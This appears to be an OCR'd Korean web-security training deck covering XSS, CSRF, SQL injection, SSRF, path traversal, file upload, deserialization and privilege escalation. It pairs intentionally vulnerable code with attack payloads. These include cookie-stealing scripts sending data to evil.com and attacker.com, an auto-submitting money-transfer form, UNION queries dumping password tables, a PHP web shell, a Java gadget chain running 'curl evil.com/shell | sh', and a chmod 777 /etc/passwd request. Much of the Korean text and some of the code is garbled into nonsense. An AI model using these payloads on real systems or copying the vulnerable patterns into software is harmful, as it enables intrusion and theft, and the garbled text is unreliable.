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Cross-Site Scripting (XSS)
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= ol 24

ayload.js
<script> pay )

var adr = 'https://evil.com/steal.php?cookie=' +
escape(document.cookie);

/177 B = HE
fetch(adr)
.then(response => console.log('Stolen'));
</script>

<?php vulnerable-page.php

/13|23t FEAIBR} 2l2ig HEB o] B

Susername = $_GET['username'];

echo "<div>CHA SHM|2, Susername ‘= 1</div>";
>

https://victim-site.com/page.php?username=<script>/* =73 2 =
*/</script>
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Cross-Site Request Forgery (CSRF)

66 ARBADIARIE 227 o|T5HX| 982 & % THSIES Hol= 34

7loln| 2IB=! Cf= gAP|Eol| FS BUES F55i0d AI-‘R?(PI
o ASISIA OS2

AL
=T3= T ME. 99

27w

> GET 88 7|8k 0|0 [X| EjTILFURLS E5HGET & 2=
> PosT 2 7|8k X= ME= = 5747 &2 S5HrosT 88 2=
> H22| oRF: AEKIC| Shie| 22

= B 24

</> o= 07'| “

= - evil-page.html
<-AFE HEEE Z2 38 posTRE CSRF-> =

<body onload="document.getElementByld('csrf-form').submit()
<form id="csrf-form" action="https://victim-bank.com/tran method="POST"
style="display:none">
<input type="hidden" name="to" value="attacker-account"
<input type="hidden" name="amount" value="1000000" />
<input type="submit" value="Submit" />
</form>
</body>

vulnerable-form.php

//TI A csRrEE A3 8ls A
if(S_POST['action'] == 'change_password') {
Suser->password = $_POST['new_password'];
Suser->save();
echoH|HHS I} HA =[S Ty
}
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DOM(Document Object Model) 7|23
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> URL SHA|/Z2H|ES: location.hash, location.search S S5t=A

> Wieb Storage: localStorage, sessionStorage2| CI|O[E1E S22 DOVl 42!
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//URLSHAOIIA ALERL OIF & (FI2h
function showWelcomeMessage() {
/IAREAL l2dg HE 810l pomoll &gl
var userName = document.location.hash.substring(1);

/1% 2kinnerHTMLE S8 21 A

vulnerable-dom.js

document.getElementByld('welcome').innerHTML ="EF3EHACE! +

userName + "= 1';

=

window.onload = showWelcomeMessage;

#3244 URL
https://victim-site.com/welcome.html#<img src=x
onerror="fetch(*https://attacker.com/steal?c="

+ encodeURIComponent(document.cookie))">

#CI2 pom 7|4t 52
document.write() AFS, eval() & &,
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outerHTML A &

//pom 2= 2tol| St AFZIETL AR E
document.getElementByld('userProfile').innerHTML = userData;
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Clickjacking (Ul 2I=8Kd 34) o> B IH M= B 7F Al

4 _ o _ clickjack.html
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/5P| . 012 Sall A 25, XiZ ol&), At eid Sol shs e ¥ e frame
opacity: 0.0001; position:
absolute; z-index: 2;
- width: 500px; height:
# 'Io_7—|:I H—lﬁ'l 500px; O CHe HIO}
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<iframe src="https://bank.example.com/transfer"></ifram
</body>
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SQL Injection (SQLI)
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> UNION 7|8k UNION T-222 0421 B0 H[0[E £&

> Emor 7|4k CIO[EH0|1A 27 BIAXIE 028 &E 47!
> Blind SQL Injection: /1% SE2Z HO[E] 5 Time-
> based: T2 | AlH ARFXO|2 HE 7F

(= Tief A

LUHAIBAL > DB A z=t > FEMNES

/1FIeke FE AT glo] He| AE

Sid = $_GET['id"];

Squery = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($connection, $query);
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#oI5 23 3% e

#UNION 422 ARZALHOlE HZ
id=1 UNION SELECT username,password FROM users

# 22| K} H|LHS SHA| EHF
id=1 UNION SELECT user,password FROM mysql.user

https://victim-site.com/profile.php?id=1 UNION SELECT 1,2, @ @version,4
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Server-Side Request Forgery (SSRF)
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<?php
/ot A AR 22 URLZ 2F HE
Surl =$_GET['url'];
//EE 80| 2F & M

Sch = curl_init();

curl_setopt(Sch, CURLOPT_URL, Surl); curl_setopt(Sch,
CURLOPT_RETURNTRANSFER, true);

Sresponse = curl_exec(Sch);

echo Sresponse;
>
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#LI S RedisAMb{ B AlSY
https://victim-site.com/api.php?url=gopher://127.0.0.1:6379
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S =5 ol = ok
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<php vulnerable-code.php
TR M| T AABIS ElMisI0] B RE CRIER| o|Fio| Tl T 4 | //3loft T2 AR QIS 2 10| T A2z AR
She Fo v/ ARALL TRl R =R Eol| Mp{e] 2 AIAE mi2lo|u} oizkskH(o| Sfile = $_GET[file'];
Bl RetERE ols /32 UIE 27

Scontent = file_get_contents('/var/www/html/" . $file);

if (Scontent) {echo

74 H Scontent;
# (=2 | _E-I }else {
echo"IldS &g = G CEy
A A= =&, /1 ARAS 0S5 AR CIRIER|Z 05 }

>
5 A2 IAT 23| %2262t 22 URL Q12 Al B
> EH %EAI‘% /e‘['c/passwdgl— 2 &l 4= XN Al H22 0|23+ 2 attack-urls.txt
5 l_E_I HI'OIE *ul'%l %00 ; Al%ém T | 9_[,7( K|-7‘|A|- | /page.php?file=../../../etc/passwd

#URL2IZE S 0|82t 23 a8 7|‘g’ AI'i-.-:“
E ]_.I.rsl'l _EFA_'Il /page.php?file=%2e%2e%2%2e%2e%2{%2e%2e%2fetc%2fpasswd
= L.

#d HIO|E &¢
/page.php?file=../../../etc/passwd%00.jpg

#Windows A|AE!N EFI 24
/page.php?file=..\..\windows\system.ini
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o1 M
> ZPIXL 22 phpjpg php;jpg S22 SFEAFZER 25| MIME
> ERY ZZ} Content-Type 3lICHE Z215101 0|o[X|= 2f& NuLL HE
> O|E 3 ol NULL 2XIE Aelsio] ZEfE 2= Hd A

5 EE: ISP, PHP, ASP 52| 2] 41 T2l2 Afeiol] Al

(= Tief A

>_ HH EE A fi Hetds
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oIl All O
P gd
PHP ASP/ASPX JSP
.php .asp, .aspx .jsp

> B A= 3

<?php
724kt prp g A OflA|
if(isset(S_REQUEST['cmd']){
Scmd = $_REQUEST['cmd']; echo
"<pre>"; system(Scmd);
echo "</pre>";
}

>

<form method="post">
<input type="text" name="cmd" size="50">
<input type="submit" value="A1 &l ">
</form>

<?php
/%I med fRE 32
Starget_dir = "uploads/";
Starget_file = Starget_dir . basename($_FILES["fileToUplo

/2SR HAL 2t
/u Bl E5

//HE BF F=t

webshell.php

upload.php

==
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B 7H Al

Al #SHELL-456

5712 Ao Eol| mid == F|okMo| 2f8=|0] 7 o] MA1E. =4
b= L ALl FEsio] I SetHEHM 7|2 HolH 8 24 &

SEAZIC0, WO Alo] XISEl HE Rl

O i3 et

v S|O|ER|IAE T |HETe! SIEIX AT
v MIME ER 2 T LIS HES

_ olz=cg| glol AlSH S
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name" echo "Z}20| HZ2= v l=|§—l—| 'U'l'E =3 ;I—'Iol—l-x-ilj-l

| AEH
}else {
echo"¥ 2= Alaf »

}
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Insecure Deserialization

QFHOIX| P2 HE =R}

Lo |17

¢ oA |2 5|{Deserialization)= HIO|E AEZIS CIA| 4| 2 Bisksh= IO 2 QRISHK|
2 AXHS = A2 - Y= IO [HE A2iFsiet i hlsh|ch 34X =ol 2iyg =
5101 212] = AIRCE L} HBHAS 50| AlZISH B2 SaE 4+ AU &

# 7 HE

> RN A, M= 55 SMS ZASl0] of S5 Ft
> MI=2] 2 x5t oA ﬂilEEH%f&o_%’H%@ %€g

> Type Confusion: 2| E[2} === 7oi0] 3= S5 4

o4xlef5| Aol £%

(= TP £

=5

</> SASHME

/1723t ofxizst T8l
@RequestMapping("/deserialize") public String
deserializeObject(

@RequestParam("data") String data) {

try {
//2ASE HIO|E{E Basess 2 C| AL
byte[] bytes = Base64.getDecoder()
.decode(data);

//A=E = gl= HlolH
ByteArraylnputStream bais =
new ByteArraylnputStream(bytes);
ObjectInputStream ois =
new ObjectinputStream(bais);

AxZsH (9l

/12 R 2EE & g
Object obj = ois.readObject();

return "Success: " + obj.toString();
} catch (Exception e) {

return "Error: " + e.getMessage();
}

}

ot mo|2= ¢Y

/1912 FE M TR Hel 7
Transformer[] transformers = new Transformer[] { new
ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class}, new Object([]
{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class}, new Object[] {null,

new Object[0]}),
new InvokerTransformer("exec", new Class[]
{String.class},
new Object[] {"curl evil.com/shell | sh"})
k
https://victim-app.com/api/deserialize?

data=rO0ABXNyABFqYXZhLnVOaWwuSGFzaE1lhcAUH2...
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Privilege Escalation @¢t45)

L aBi| Hxom ARED| FIst 2 oS olgsl RER He == ASHIK| 2
Ssi= I T, TRl OB S ARE| A X0 CO[EHOIA, AM AR, Al
A EER| B F2 sl A, o

1 B2 S

5 A HSHAS: QHEAIBA} - TR[K Ao AS
y PN HSHAS: =2l ol C|= AlZK|e| Hetals

> 2 HI0] 22 IDOR, 215 &AH| 28t ek

> AARIFOFE O|&8: 7, AH|A F|oi ofg

= B 24

<[> FUet A= S

&kt AUst J| 3 2 admin_check.php

function isAdmin(Suserld) {
Srole=$_GET['role']; // URL ZI2|0|E{Z St &l

if (Srole === 'admin') {return true;
}
return false;

}

if (isAdmin(ScurrentUser)) {
//E2IAL 7|5 M3
showAdminPanel();

}

exploit.js
/4N ATRE Pt

async function escalatePrivileges() {
//1F s HelA A3 T2l 2bg
const response = await fetch(
'/admin/panel.php?role=admin’

);

//2. 2R|A EZ B
const adminToken = extractToken(response);

ERNES- =L
await fetch('/api/system’, {method:
'POST,
headers: {
'Authorization': ‘Bearer S{adminToken}
b
body: JSON.stringify({
cmd: 'chmod 777 /etc/passwd'
1
b
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